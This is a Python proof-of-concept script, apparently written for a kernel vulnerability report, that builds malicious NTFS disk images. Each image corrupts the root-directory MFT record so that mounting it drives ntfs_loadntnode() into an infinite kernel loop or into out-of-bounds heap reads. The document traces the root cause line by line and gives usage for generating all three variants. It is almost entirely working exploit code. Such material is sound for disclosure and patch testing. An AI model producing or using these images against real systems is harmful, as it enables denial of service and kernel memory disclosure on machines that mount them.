DF-0787 / gen_ntfs_0787.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 | #!/usr/bin/env python3 """ gen_ntfs_0787.py โ Crafted NTFS images that trigger the unbounded attribute walk in ntfs_loadntnode() (sys/vfs/ntfs/ntfs_subr.c:305-320). DF-0787 root cause (confirmed by source trace): 305: off = mfrp->fr_attroff; // uint16 from disk, UNCHECKED 306: ap = (struct attr *)((caddr_t)mfrp + off); // ptr formed before any bound check ... 310: while (ap->a_hdr.a_type != -1) { // deref of possibly-OOB ap 311: error = ntfs_attrtontvattr(ntmp, &nvap, ap); ... 318: off += ap->a_hdr.reclen; // uint32 from disk, UNCHECKED (no !=0, no <=recsz) 319: ap = (struct attr *)((caddr_t)mfrp + off); 320: } Allocation of mfrp is `kmalloc(ntfs_bntob(ntm_bpmftrec), M_TEMP, M_WAITOK)` (line 263) โ for our image ntm_bpmftrec = 8 sectors = 4096 bytes. reachability at mount time: ntfs_mountfs() at sys/vfs/ntfs/ntfs_vfsops.c:393-403 calls VFS_VGET() for NTFS_MFTINO(0), NTFS_ROOTINO(5), NTFS_BITMAPINO(6) in turn. Each vget -> ntfs_vgetex -> ntfs_loadntnode BEFORE any directory lookup (so the DF-0786 lockmgr bug, which lives in ntfs_ntget on already-locked nodes hit during lookup, does NOT block this finding's trigger). Three crafted image variants are produced, each with a single byte/word corruption of the ino 5 (root dir) MFT record only: * loop : the resident $INDEX_ROOT attribute's reclen field is set to 0. -> off never advances; the kernel while() spins forever consuming 100% CPU; mount(2) never returns. -> Impact: infinite loop / kernel DoS (CWE-835). * oob_a : fr_attroff set to 0x0FF0 (well past the 1024-byte resident payload of the record but still inside the 4096-byte allocation). -> first deref of ap->a_hdr.a_type at offset 0x0FF0 reads bytes that were never part of the on-disk attribute list; whatever 4 bytes happen to be there drive the walk. In practice this reads attacker-influenced or zero bytes; in either case the walk has NO relation to the actual on-disk attributes. -> Impact: OOB read (CWE-125) โ the entire 4096-byte M_TEMP slab chunk is read past the legitimate attribute list end. * oob_r : the resident $INDEX_ROOT attribute's reclen is set to a value larger than the remaining space in the MFT record (e.g. 0x1000). -> after the first iteration off = attroff + 0x1000, which is past the 4096-byte mfrp allocation. The next deref of ap->a_hdr.a_type reads adjacent kernel heap. If that byte pattern doesn't happen to be 0xFFFFFFFF the loop continues OOB, eventually faulting or wrapping around. -> Impact: OOB read (CWE-125). Usage: python3 gen_ntfs_0787.py {loop|oob_a|oob_r|all} [out.img] """ import struct, sys, os # Re-use the proven minimal-NTFS scaffolding from the sibling DF-0786 PoC. HERE = os.path.dirname(os.path.abspath(__file__)) SIBLING = os.path.join(HERE, '..', 'DF-0786', 'gen_ntfs.py') sys.path.insert(0, os.path.dirname(SIBLING)) import importlib.util spec = importlib.util.spec_from_file_location("gen_ntfs", SIBLING) gen_ntfs = importlib.util.module_from_spec(spec) spec.loader.exec_module(gen_ntfs) # constants from the sibling generator (mirror its image geometry) BPS = gen_ntfs.BPS SPC = gen_ntfs.SPC CLUS = gen_ntfs.CLUS MFTCN = gen_ntfs.MFTCN MFTRECBYTES = gen_ntfs.MFTRECBYTES NUM_CLUSTERS = gen_ntfs.NUM_CLUSTERS NTFS_A_INDXROOT = gen_ntfs.NTFS_A_INDXROOT NTFS_FRFLAG_DIR = gen_ntfs.NTFS_FRFLAG_DIR def build_mft_record_5_corrupted(mode): """Build the ino-5 (root dir) MFT record with a corrupted attribute walk. Start from the sibling's clean root dir, then patch it to trigger one of the three DF-0787 conditions. Everything else in the image is identical to the proven-mountable clean image. """ clean = gen_ntfs.build_mft_record_5() rec = bytearray(clean) # In the clean image: # fr_attroff lives at byte offset 20 (struct filerec layout). # The first attribute begins at fr_attroff (=72 in the clean image). # Its attrhdr.reclen lives at byte offset fr_attroff+4. fr_attroff = struct.unpack_from('<H', rec, 20)[0] if mode == 'loop': # Corrupt the FIRST attribute's reclen to 0 so the loop never advances. # The first attr is $INDEX_ROOT (a_type=0x90); its reclen sits at # fr_attroff+4. We keep a_type intact so the while() condition is true # and we actually enter the loop body (otherwise the bug doesn't fire). struct.pack_into('<I', rec, fr_attroff + 4, 0) # reclen = 0 elif mode == 'oob_a': # Push fr_attroff past the resident attribute list end (well inside # the 4096-byte allocation, so we don't immediately page-fault; the # walk instead reads zero/attacker bytes). struct.pack_into('<H', rec, 20, 0x0FF0) elif mode == 'oob_r': # Make the first attr's reclen absurdly large so off overflows past # the mfrp allocation on the very next iteration. struct.pack_into('<I', rec, fr_attroff + 4, 0x1000) # reclen = 4096 else: raise ValueError(f"unknown mode {mode!r}") # Re-apply fixups (the corruption is inside the resident attribute body, # not on a sector-boundary fixup slot, so the fixup signature still matches # and ntfs_procfixups() will succeed โ which is exactly what we want: the # buggy walk at line 305-320 must be REACHED, not pre-empted by fixup fail.) return gen_ntfs.apply_fixups(bytes(rec)) def build_image(mode): img = bytearray(NUM_CLUSTERS * CLUS) img[0:len(gen_ntfs.make_boot_sector())] = gen_ntfs.make_boot_sector() mft_records = [None] * 11 mft_records[0] = gen_ntfs.build_mft_record_0() mft_records[1] = gen_ntfs.build_mft_minimal() mft_records[2] = gen_ntfs.build_mft_minimal() mft_records[3] = gen_ntfs.build_mft_minimal() mft_records[4] = gen_ntfs.build_mft_record_4() # ino 5 is the corrupted root dir mft_records[5] = build_mft_record_5_corrupted(mode) mft_records[6] = gen_ntfs.build_mft_record_6() mft_records[7] = gen_ntfs.build_mft_minimal() mft_records[8] = gen_ntfs.build_mft_minimal() mft_records[9] = gen_ntfs.build_mft_minimal() mft_records[10] = gen_ntfs.build_mft_record_10() for i in range(11): off = (MFTCN + i) * CLUS img[off:off + len(mft_records[i])] = mft_records[i] upcase = gen_ntfs.make_upcase_data() uo = gen_ntfs.UPCASE_CN * CLUS img[uo:uo + len(upcase)] = upcase return bytes(img) def main(): if len(sys.argv) < 2: print(__doc__) sys.exit(2) mode = sys.argv[1] if mode == 'all': for m in ('loop', 'oob_a', 'oob_r'): out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_{m}.img' img = build_image(m) with open(out, 'wb') as f: f.write(img) print(f"[{m}] wrote {out}: {len(img)} bytes") else: out = sys.argv[2] if len(sys.argv) > 2 else f'ntfs_{mode}.img' img = build_image(mode) with open(out, 'wb') as f: f.write(img) print(f"[{mode}] wrote {out}: {len(img)} bytes") if __name__ == '__main__': main() |